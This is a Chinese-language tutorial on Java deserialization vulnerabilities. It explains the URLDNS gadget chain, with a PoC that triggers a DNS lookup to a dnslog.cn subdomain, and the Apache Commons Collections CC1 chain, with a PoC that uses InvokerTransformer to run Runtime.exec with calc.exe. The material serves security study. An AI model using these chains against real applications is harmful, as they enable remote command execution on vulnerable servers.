Java反序列化
Java序列化与反序列化依赖于两个函数writeObject()
与readObject()
,只要一个类实现了Serializable接口就可以使用这两个函数进行序列化与反序列化。
Java反序列化漏洞原理
类似PHP反序列化,PHP反序列化时会触发wakeup()
函数,而Java中没有这种通用的函数,要实现类似wakeup()
函数在反序列化时被触发的功能需要重写readObject()
。
Java反序列化漏洞需要触发一个被重写的readObject()
,这个readObject()
调用了一个其他类也有同名的函数,导致非预期的函数被执行。
举个例子:
原本的程序预期:
- 从接口接到A类对象序列化的字节流
- 调用A类的
readObject()
进行反序列化 - A类的
readObject()
中调用反序列化出来的A类对象中的一个B类对象的F方法 - 完成反序列化
传入恶意序列化字节流后:
- 在A类对象中放置B类对象的位置嵌入一个恶意的C类对象,其中B与C有一个共同的F方法
- 从接口接到A类对象序列化的字节流
- 调用A类的
readObject()
进行反序列化 - A类的
readObject()
中调用反序列化出来的A类对象中的C类对象的F方法,非预期方法被执行。 - 完成反序列化。
URLDNS链
- 反序列化入口
HashMap.readObject(ObjectInputStream s)
- 在反序列化HashMap的键时对键值
key
进行hash(key)
hash(Object key)
中调用了非空key.hashCode()
- 当key类型是URL时,URL类对象的hashCode方法调用了
URLStreamHandler(URL u)
URLStreamHandler(URL u)
中如果u是域名的话会调用getHostAddress(u)
,获取IP地址。getHostAddress(URL u)
会发起DNS请求,从而验证存在反序列化漏洞。
URLDNS链: HashMap.readObject(ObjectInputStream s)
->hash(key)
->key.hashCode()
->URLStreamHandler(URL u)
->getHostAddress(URL u)
-> 发起DNS
POC
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args)
throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("http://aaa.azlgqz.dnslog.cn");
HashMap hashMap = new HashMap();
Class cls = URL.class;
Field hashCode = cls.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 2213);
hashMap.put(url, 1);
hashCode.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
}
}
POC解析
由于直接进行反序列化生成URLDNS链的方法会导致在生成时就触发一次DNS请求,导致URLDNS记录可能出现错误,POC通过Java的反射机制对HashMap进行了修改,从而避免了生成时导致的DNS请求。
CC1
组件介绍
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
POC
package ysoserial;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class commons_collections1 {
public static void main(String[] args) throws Exception {
//构建了transformers的数组,在这里构建命令执行的相关参数
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组放入ChaniedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
POC解析
Apache Commons Collections反序列化漏洞的主要问题在于Transformer这个接口类,Transformer类可以满足固定的类型转化需求,其转化函数可以自定义实现,漏洞点就在这里。
目前已知实现了Transformer
接口的类,如下所示。而在Apache Commons Collections反序列漏洞中,会使用到ChainedTransformer
、ConstantTransformer
、InvokerTransformer
这三个类。
- 创建transformer数组,构建漏洞核心利用代码(Runtime.exec)
- 将transformers数组存入ChainedTransformer类
- 创建Map,给予map数据转换链
- 触发漏洞利用链,利用漏洞